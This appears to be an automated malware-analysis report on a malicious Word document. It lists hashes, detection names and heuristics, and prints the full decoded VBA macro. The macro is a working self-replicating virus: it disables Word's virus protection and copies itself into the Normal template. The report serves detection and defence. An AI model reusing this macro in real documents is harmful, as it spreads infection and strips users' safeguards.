Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b3f56f6fa3771b4…

MALICIOUS

Office (OLE)

45.5 KB Created: 2017-08-11 01:39:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 7bcc3190e925e821c73068501b2215ad SHA-1: 4454e5c39ae20c19107179b737f646d5a01d61f3 SHA-256: 1b3f56f6fa3771b41495df5ac099a9009b9b762e8e49b841a0ecc7bd76f832a5
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Microsoft Word document containing VBA macros, specifically a Document_Open macro. This macro is designed to execute automatically when the document is opened. It appears to overwrite the NormalTemplate with its own code, potentially to establish persistence or download further malicious content. The ClamAV detection name 'Doc.Macro.APMPKILL-6097118-0' suggests a known macro-based threat.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub